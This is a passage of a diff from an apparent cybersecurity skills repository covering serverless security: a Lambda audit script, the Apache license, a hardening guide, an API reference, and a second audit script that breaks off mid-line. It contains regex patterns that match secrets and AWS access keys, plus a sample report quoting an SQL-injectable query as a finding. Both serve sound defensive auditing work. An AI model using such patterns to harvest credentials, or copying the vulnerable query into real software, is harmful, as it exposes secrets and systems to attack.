version_id = iam.get_policy(PolicyArn=policy["PolicyArn"])["Policy"]["DefaultVersionId"]
|
||||
doc = iam.get_policy_version(
|
||||
PolicyArn=policy["PolicyArn"], VersionId=version_id
|
||||
)["PolicyVersion"]["Document"]
|
||||
for stmt in doc.get("Statement", []):
|
||||
actions = stmt.get("Action", [])
|
||||
if isinstance(actions, str):
|
||||
actions = [actions]
|
||||
if "*" in actions or any(a.endswith(":*") for a in actions):
|
||||
findings.append(
|
||||
f"WARNING: {role_name} has wildcard action: {actions} "
|
||||
f"on {stmt.get('Resource', '*')}"
|
||||
)
|
||||
except ClientError as e:
|
||||
findings.append(f"ERROR auditing role {role_name}: {e}")
|
||||
return findings
|
||||
|
||||
|
||||
SENSITIVE_PATTERNS = [
|
||||
re.compile(r"(?i)(password|secret|key|token|credential|api.?key)"),
|
||||
re.compile(r"(?i)(aws.?access|aws.?secret)"),
|
||||
re.compile(r"(?i)(database.?url|connection.?string|db.?pass)"),
|
||||
re.compile(r"AKIA[0-9A-Z]{16}"),
|
||||
]
|
||||
|
||||
|
||||
def check_env_secrets(env_vars):
|
||||
findings = []
|
||||
if not env_vars:
|
||||
return findings
|
||||
for key, value in env_vars.items():
|
||||
for pattern in SENSITIVE_PATTERNS:
|
||||
if pattern.search(key) or pattern.search(str(value)):
|
||||
masked = value[:4] + "****" + value[-4:] if len(value) > 8 else "****"
|
||||
findings.append(f"SENSITIVE: {key} = {masked}")
|
||||
break
|
||||
return findings
|
||||
|
||||
|
||||
def check_public_access(client, function_name):
|
||||
findings = []
|
||||
try:
|
||||
policy = client.get_policy(FunctionName=function_name)
|
||||
doc = json.loads(policy["Policy"])
|
||||
for stmt in doc.get("Statement", []):
|
||||
principal = stmt.get("Principal", {})
|
||||
if principal == "*" or principal == {"AWS": "*"}:
|
||||
findings.append(
|
||||
f"PUBLIC ACCESS: {function_name} allows public invocation "
|
||||
f"(statement: {stmt.get('Sid', 'unnamed')})"
|
||||
)
|
||||
except ClientError:
|
||||
pass
|
||||
try:
|
||||
urls = client.list_function_url_configs(FunctionName=function_name)
|
||||
for url_cfg in urls.get("FunctionUrlConfigs", []):
|
||||
if url_cfg.get("AuthType") == "NONE":
|
||||
findings.append(
|
||||
f"UNAUTHENTICATED URL: {function_name} -> {url_cfg['FunctionUrl']}"
|
||||
)
|
||||
except ClientError:
|
||||
pass
|
||||
return findings
|
||||
|
||||
|
||||
def run_review(region="us-east-1"):
|
||||
lam = get_lambda_client(region)
|
||||
iam = get_iam_client(region)
|
||||
functions = list_all_functions(lam)
|
||||
report = {
|
||||
"total_functions": len(functions),
|
||||
"deprecated_runtimes": [],
|
||||
"role_findings": [],
|
||||
"secret_findings": [],
|
||||
"public_access_findings": [],
|
||||
}
|
||||
for func in functions:
|
||||
name = func["FunctionName"]
|
||||
runtime = func.get("Runtime", "unknown")
|
||||
if check_deprecated_runtime(runtime):
|
||||
report["deprecated_runtimes"].append({"function": name, "runtime": runtime})
|
||||
report["role_findings"].extend(audit_execution_role(iam, func["Role"]))
|
||||
env = func.get("Environment", {}).get("Variables", {})
|
||||
secrets = check_env_secrets(env)
|
||||
if secrets:
|
||||
report["secret_findings"].extend(
|
||||
[{"function": name, "finding": s} for s in secrets]
|
||||
)
|
||||
report["public_access_findings"].extend(check_public_access(lam, name))
|
||||
return report
|
||||
|
||||
|
||||
def print_report(report):
|
||||
print("Serverless Function Security Review")
|
||||
print("=" * 40)
|
||||
print(f"Functions Reviewed: {report['total_functions']}")
|
||||
for section, label in [
|
||||
("deprecated_runtimes", "Deprecated Runtimes"),
|
||||
("role_findings", "Role Issues"),
|
||||
("secret_findings", "Secrets in Env Vars"),
|
||||
("public_access_findings", "Public Access"),
|
||||
]:
|
||||
items = report[section]
|
||||
print(f"\n{label}: {len(items)} finding(s)")
|
||||
for item in items:
|
||||
print(f" - {item}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
result = run_review()
|
||||
print_report(result)
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,329 @@
|
||||
---
|
||||
name: securing-serverless-functions
|
||||
description: 'Hardens serverless compute platforms (AWS Lambda, Azure Functions, Google
|
||||
Cloud Functions): least-privilege IAM roles, dependency vulnerability scanning,
|
||||
secrets management integration, input validation, function URL authentication, and
|
||||
runtime monitoring. Use when deploying serverless functions with sensitive access,
|
||||
auditing for overly permissive roles, or adding functions to a DevSecOps pipeline.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: cloud-security
|
||||
tags:
|
||||
- serverless-security
|
||||
- aws-lambda
|
||||
- azure-functions
|
||||
- function-hardening
|
||||
- supply-chain
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.IR-01
|
||||
- ID.AM-08
|
||||
- GV.SC-06
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1078.004
|
||||
- T1530
|
||||
- T1537
|
||||
- T1580
|
||||
- T1003
|
||||
---
|
||||
|
||||
# Securing Serverless Functions
|
||||
|
||||
## When to Use
|
||||
|
||||
- When deploying Lambda functions or Azure Functions with access to sensitive data or cloud APIs
|
||||
- When auditing existing serverless workloads for overly permissive IAM roles
|
||||
- When integrating serverless functions into a DevSecOps pipeline with automated security scanning
|
||||
- When hardcoded secrets or vulnerable dependencies are discovered in function code
|
||||
- When establishing runtime monitoring for serverless workloads to detect injection or credential theft
|
||||
|
||||
**Do not use** for container-based compute security (see securing-kubernetes-on-cloud), for API Gateway configuration (see implementing-cloud-waf-rules), or for serverless architecture design decisions.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- AWS Lambda, Azure Functions, or GCP Cloud Functions with deployment access
|
||||
- CI/CD pipeline with dependency scanning tools (npm audit, Snyk, Dependabot)
|
||||
- AWS Secrets Manager, Azure Key Vault, or HashiCorp Vault for secrets management
|
||||
- CloudWatch, Application Insights, or Cloud Logging for function monitoring
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Enforce Least Privilege IAM Roles
|
||||
|
||||
Assign each Lambda function a dedicated IAM role with permissions scoped to only the specific resources it accesses. Never share IAM roles across functions.
|
||||
|
||||
```bash
|
||||
# Create a least-privilege role for a specific Lambda function
|
||||
aws iam create-role \
|
||||
--role-name order-processor-lambda-role \
|
||||
--assume-role-policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "lambda.amazonaws.com"},
|
||||
"Action": "sts:AssumeRole"
|
||||
}]
|
||||
}'
|
||||
|
||||
# Attach a scoped policy (not AmazonDynamoDBFullAccess)
|
||||
aws iam put-role-policy \
|
||||
--role-name order-processor-lambda-role \
|
||||
--policy-name order-processor-policy \
|
||||
--policy-document '{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": ["dynamodb:PutItem", "dynamodb:GetItem"],
|
||||
"Resource": "arn:aws:dynamodb:us-east-1:123456789012:table/Orders"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": ["logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents"],
|
||||
"Resource": "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/order-processor:*"
|
||||
},
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": ["secretsmanager:GetSecretValue"],
|
||||
"Resource": "arn:aws:secretsmanager:us-east-1:123456789012:secret:order-api-key-*"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
### Step 2: Eliminate Hardcoded Secrets
|
||||
|
||||
Replace plaintext credentials in environment variables with references to secrets management services. Use Lambda extensions or SDK calls to retrieve secrets at runtime.
|
||||
|
||||
```python
|
||||
# INSECURE: Hardcoded credentials in environment variable
|
||||
# DB_PASSWORD = os.environ['DB_PASSWORD'] # Stored as plaintext in Lambda config
|
||||
|
||||
# SECURE: Retrieve from AWS Secrets Manager with caching
|
||||
import boto3
|
||||
from botocore.exceptions import ClientError
|
||||
import json
|
||||
|
||||
_secret_cache = {}
|
||||
|
||||
def get_secret(secret_name):
|
||||
if secret_name in _secret_cache:
|
||||
return _secret_cache[secret_name]
|
||||
|
||||
client = boto3.client('secretsmanager')
|
||||
response = client.get_secret_value(SecretId=secret_name)
|
||||
secret = json.loads(response['SecretString'])
|
||||
_secret_cache[secret_name] = secret
|
||||
return secret
|
||||
|
||||
def lambda_handler(event, context):
|
||||
db_creds = get_secret('production/database/credentials')
|
||||
db_host = db_creds['host']
|
||||
db_password = db_creds['password']
|
||||
# Use credentials securely
|
||||
```
|
||||
|
||||
```bash
|
||||
# Enable encryption at rest for Lambda environment variables
|
||||
aws lambda update-function-configuration \
|
||||
--function-name order-processor \
|
||||
--kms-key-arn arn:aws:kms:us-east-1:123456789012:key/key-id
|
||||
```
|
||||
|
||||
### Step 3: Scan Dependencies for Vulnerabilities
|
||||
|
||||
Integrate automated dependency scanning into the CI/CD pipeline to catch vulnerable packages before deployment.
|
||||
|
||||
```bash
|
||||
# npm audit for Node.js Lambda functions
|
||||
cd lambda-function/
|
||||
npm audit --audit-level=high
|
||||
npm audit fix
|
||||
|
||||
# Snyk scanning in CI/CD pipeline
|
||||
snyk test --severity-threshold=high
|
||||
snyk monitor --project-name=order-processor-lambda
|
||||
|
||||
# pip-audit for Python Lambda functions
|
||||
pip-audit -r requirements.txt --desc on --fix
|
||||
|
||||
# Scan Lambda deployment package with Trivy
|
||||
trivy fs --severity HIGH,CRITICAL ./lambda-package/
|
||||
```
|
||||
|
||||
```yaml
|
||||
# GitHub Actions CI/CD security scanning
|
||||
name: Lambda Security Scan
|
||||
on: [push, pull_request]
|
||||
jobs:
|
||||
security:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Install dependencies
|
||||
run: npm ci
|
||||
- name: Run npm audit
|
||||
run: npm audit --audit-level=high
|
||||
- name: Snyk vulnerability scan
|
||||
uses: snyk/actions/node@master
|
||||
env:
|
||||
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
|
||||
- name: Scan with Semgrep for code vulnerabilities
|
||||
uses: returntocorp/semgrep-action@v1
|
||||
with:
|
||||
config: p/owasp-top-ten
|
||||
```
|
||||
|
||||
### Step 4: Implement Input Validation
|
||||
|
||||
Validate and sanitize all event input data to prevent injection attacks including SQL injection, command injection, and NoSQL injection through Lambda event sources.
|
||||
|
||||
```python
|
||||
import re
|
||||
import json
|
||||
from jsonschema import validate, ValidationError
|
||||
|
||||
# Define expected input schema
|
||||
ORDER_SCHEMA = {
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"orderId": {"type": "string", "pattern": "^[a-zA-Z0-9-]{1,36}$"},
|
||||
"customerId": {"type": "string", "pattern": "^[a-zA-Z0-9]{1,20}$"},
|
||||
"amount": {"type": "number", "minimum": 0.01, "maximum": 999999.99},
|
||||
"currency": {"type": "string", "enum": ["USD", "EUR", "GBP"]}
|
||||
},
|
||||
"required": ["orderId", "customerId", "amount", "currency"],
|
||||
"additionalProperties": False
|
||||
}
|
||||
|
||||
def lambda_handler(event, context):
|
||||
# Validate API Gateway event body
|
||||
try:
|
||||
body = json.loads(event.get('body', '{}'))
|
||||
validate(instance=body, schema=ORDER_SCHEMA)
|
||||
except (json.JSONDecodeError, ValidationError) as e:
|
||||
return {
|
||||
'statusCode': 400,
|
||||
'body': json.dumps({'error': 'Invalid input', 'details': str(e)})
|
||||
}
|
||||
|
||||
# Safe to proceed with validated input
|
||||
order_id = body['orderId']
|
||||
# Use parameterized queries for database operations
|
||||
```
|
||||
|
||||
### Step 5: Configure Function URL and API Gateway Authentication
|
||||
|
||||
Secure function invocation endpoints with proper authentication. Never expose Lambda function URLs without IAM or Cognito authentication.
|
||||
|
||||
```bash
|
||||
# Secure Lambda function URL with IAM auth (not NONE)
|
||||
aws lambda create-function-url-config \
|
||||
--function-name order-processor \
|
||||
--auth-type AWS_IAM \
|
||||
--cors '{
|
||||
"AllowOrigins": ["https://app.company.com"],
|
||||
"AllowMethods": ["POST"],
|
||||
"AllowHeaders": ["Content-Type", "Authorization"],
|
||||
"MaxAge": 3600
|
||||
}'
|
||||
|
||||
# API Gateway with Cognito authorizer
|
||||
aws apigateway create-authorizer \
|
||||
--rest-api-id abc123 \
|
||||
--name CognitoAuth \
|
||||
--type COGNITO_USER_POOLS \
|
||||
--provider-arns "arn:aws:cognito-idp:us-east-1:123456789012:userpool/us-east-1_EXAMPLE"
|
||||
```
|
||||
|
||||
### Step 6: Enable Runtime Monitoring and Logging
|
||||
|
||||
Configure GuardDuty Lambda Network Activity Monitoring and CloudWatch structured logging to detect anomalous function behavior.
|
||||
|
||||
```bash
|
||||
# Enable GuardDuty Lambda protection
|
||||
aws guardduty update-detector \
|
||||
--detector-id <detector-id> \
|
||||
--features '[{"Name": "LAMBDA_NETWORK_ACTIVITY_LOGS", "Status": "ENABLED"}]'
|
||||
|
||||
# Configure Lambda to use structured logging
|
||||
aws lambda update-function-configuration \
|
||||
--function-name order-processor \
|
||||
--logging-config '{"LogFormat": "JSON", "ApplicationLogLevel": "INFO", "SystemLogLevel": "WARN"}'
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| Cold Start | Initial function invocation that includes container provisioning, increasing latency and creating a window where cached secrets may not be available |
|
||||
| Event Injection | Attack where malicious input is embedded in Lambda event data from API Gateway, S3, SQS, or other event sources to exploit the function |
|
||||
| Execution Role | IAM role assumed by Lambda during execution, defining all cloud API permissions the function can use |
|
||||
| Function URL | Direct HTTPS endpoint for Lambda functions that can be configured with IAM or no authentication (NONE is insecure) |
|
||||
| Layer | Lambda deployment package containing shared code or dependencies that should be scanned for vulnerabilities independently |
|
||||
| Reserved Concurrency | Maximum number of concurrent executions for a function, useful for preventing resource exhaustion attacks |
|
||||
| Provisioned Concurrency | Pre-initialized function instances that reduce cold start latency and ensure secrets are cached |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **AWS Lambda Power Tuning**: Open-source tool for optimizing Lambda memory and timeout settings to balance security with performance
|
||||
- **Snyk**: SCA tool scanning Lambda dependencies for known vulnerabilities with automatic fix suggestions
|
||||
- **Semgrep**: SAST tool with serverless-specific rules detecting injection vulnerabilities, hardcoded secrets, and insecure configurations
|
||||
- **GuardDuty Lambda Protection**: AWS service monitoring Lambda network activity for connections to malicious endpoints
|
||||
- **AWS X-Ray**: Distributed tracing service for detecting suspicious external connections and latency anomalies in Lambda invocations
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: SQL Injection via API Gateway to Lambda to RDS
|
||||
|
||||
**Context**: A Lambda function receives user input from API Gateway and constructs SQL queries by string concatenation against an RDS PostgreSQL database. An attacker injects SQL payloads through the API.
|
||||
|
||||
**Approach**:
|
||||
1. Audit the Lambda function code for string concatenation in SQL queries
|
||||
2. Replace all string-formatted queries with parameterized queries using the database driver
|
||||
3. Implement input validation using JSON Schema before any database operation
|
||||
4. Add a WAF rule on API Gateway to block common SQL injection patterns
|
||||
5. Deploy Semgrep in the CI/CD pipeline with the `python.django.security.injection.sql` rule set
|
||||
6. Enable GuardDuty Lambda protection to detect anomalous database connection patterns
|
||||
|
||||
**Pitfalls**: Relying solely on WAF rules without fixing the underlying code vulnerability allows attackers to bypass with encoding tricks. Using ORM methods incorrectly (raw queries) still allows injection.
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
Serverless Security Assessment Report
|
||||
=======================================
|
||||
Account: 123456789012
|
||||
Functions Assessed: 47
|
||||
Assessment Date: 2025-02-23
|
||||
|
||||
CRITICAL FINDINGS:
|
||||
[SLS-001] order-processor: SQL injection via string concatenation
|
||||
Language: Python 3.12 | Runtime: Lambda
|
||||
Vulnerable Code: f"SELECT * FROM orders WHERE id = '{order_id}'"
|
||||
Remediation: Use parameterized queries with psycopg2
|
||||
|
||||
[SLS-002] payment-handler: Hardcoded Stripe API key in environment variable
|
||||
Key: sk_live_XXXX... (unencrypted)
|
||||
Remediation: Migrate to AWS Secrets Manager with KMS encryption
|
||||
|
||||
HIGH FINDINGS:
|
||||
[SLS-003] 12 functions share the same IAM execution role with s3:*
|
||||
[SLS-004] 8 functions have function URLs with AuthType: NONE
|
||||
[SLS-005] 23 functions have dependencies with known HIGH CVEs
|
||||
|
||||
DEPENDENCY VULNERABILITIES:
|
||||
axios@0.21.1: CVE-2023-45857 (HIGH) - 5 functions affected
|
||||
jsonwebtoken@8.5.1: CVE-2022-23529 (CRITICAL) - 3 functions affected
|
||||
lodash@4.17.15: CVE-2021-23337 (HIGH) - 11 functions affected
|
||||
|
||||
SUMMARY:
|
||||
Critical: 2 | High: 5 | Medium: 12 | Low: 8
|
||||
Functions with Least Privilege: 14/47 (30%)
|
||||
Functions with Secrets Manager: 19/47 (40%)
|
||||
Functions with Input Validation: 22/47 (47%)
|
||||
```
|
||||
@@ -0,0 +1,56 @@
|
||||
# API Reference: Securing Serverless Functions
|
||||
|
||||
## boto3 Lambda Client
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install boto3
|
||||
```
|
||||
|
||||
### Key Methods
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `list_functions()` | List all functions with configuration details |
|
||||
| `get_function_configuration()` | Get function config (role, env vars, KMS) |
|
||||
| `get_function_url_config()` | Get function URL and auth type |
|
||||
| `get_function_concurrency()` | Get reserved concurrency settings |
|
||||
| `update_function_configuration()` | Update KMS key, logging, VPC config |
|
||||
| `create_function_url_config()` | Create function URL with auth type |
|
||||
|
||||
### Function Configuration Fields
|
||||
| Field | Security Relevance |
|
||||
|-------|-------------------|
|
||||
| `Role` | Execution role ARN (check for least privilege) |
|
||||
| `Environment.Variables` | May contain hardcoded secrets |
|
||||
| `KMSKeyArn` | Customer-managed KMS key for env encryption |
|
||||
| `VpcConfig` | VPC subnet and security group configuration |
|
||||
| `Timeout` | Max execution time (1-900 seconds) |
|
||||
| `Runtime` | Language runtime (check for EOL versions) |
|
||||
| `Layers` | Shared code layers (scan independently) |
|
||||
|
||||
### Function URL Auth Types
|
||||
| Value | Description |
|
||||
|-------|-------------|
|
||||
| `AWS_IAM` | Requires IAM authentication (secure) |
|
||||
| `NONE` | No authentication required (insecure for sensitive functions) |
|
||||
|
||||
## boto3 IAM Client (Role Checks)
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `list_attached_role_policies()` | Check for overly broad managed policies |
|
||||
| `get_role_policy()` | Inspect inline policy for wildcards |
|
||||
| `get_role()` | Check trust policy and permission boundary |
|
||||
|
||||
## GuardDuty Lambda Protection
|
||||
```python
|
||||
gd = boto3.client("guardduty")
|
||||
gd.update_detector(
|
||||
DetectorId="<id>",
|
||||
Features=[{"Name": "LAMBDA_NETWORK_ACTIVITY_LOGS", "Status": "ENABLED"}]
|
||||
)
|
||||
```
|
||||
|
||||
## References
|
||||
- Lambda security best practices: https://docs.aws.amazon.com/lambda/latest/dg/lambda-security.html
|
||||
- Lambda function URLs: https://docs.aws.amazon.com/lambda/latest/dg/lambda-urls.html
|
||||
- GuardDuty Lambda protection: https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection.html
|
||||
@@ -0,0 +1,171 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for auditing serverless function security across AWS Lambda."""
|
||||
|
||||
import boto3
|
||||
import json
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
def list_functions(region="us-east-1"):
|
||||
"""List all Lambda functions with security-relevant configuration."""
|
||||
lam = boto3.client("lambda", region_name=region)
|
||||
functions = []
|
||||
paginator = lam.get_paginator("list_functions")
|
||||
for page in paginator.paginate():
|
||||
for f in page["Functions"]:
|
||||
functions.append({
|
||||
"name": f["FunctionName"],
|
||||
"runtime": f.get("Runtime", "N/A"),
|
||||
"role": f["Role"].split("/")[-1],
|
||||
"timeout": f.get("Timeout", 3),
|
||||
"memory": f.get("MemorySize", 128),
|
||||
"kms_key": f.get("KMSKeyArn", "None (default)"),
|
||||
"vpc": bool(f.get("VpcConfig", {}).get("SubnetIds")),
|
||||
})
|
||||
print(f"[*] Found {len(functions)} Lambda functions")
|
||||
for fn in functions:
|
||||
print(f" {fn['name']} | {fn['runtime']} | role={fn['role']} | VPC={fn['vpc']}")
|
||||
return functions
|
||||
|
||||
|
||||
def check_function_urls(region="us-east-1"):
|
||||
"""Check for Lambda function URLs with insecure authentication."""
|
||||
lam = boto3.client("lambda", region_name=region)
|
||||
findings = []
|
||||
paginator = lam.get_paginator("list_functions")
|
||||
for page in paginator.paginate():
|
||||
for f in page["Functions"]:
|
||||
try:
|
||||
url_config = lam.get_function_url_config(FunctionName=f["FunctionName"])
|
||||
auth_type = url_config.get("AuthType", "NONE")
|
||||
if auth_type == "NONE":
|
||||
findings.append({
|
||||
"function": f["FunctionName"],
|
||||
"url": url_config.get("FunctionUrl", ""),
|
||||
"auth_type": auth_type,
|
||||
"severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] CRITICAL: {f['FunctionName']} has unauthenticated URL: "
|
||||
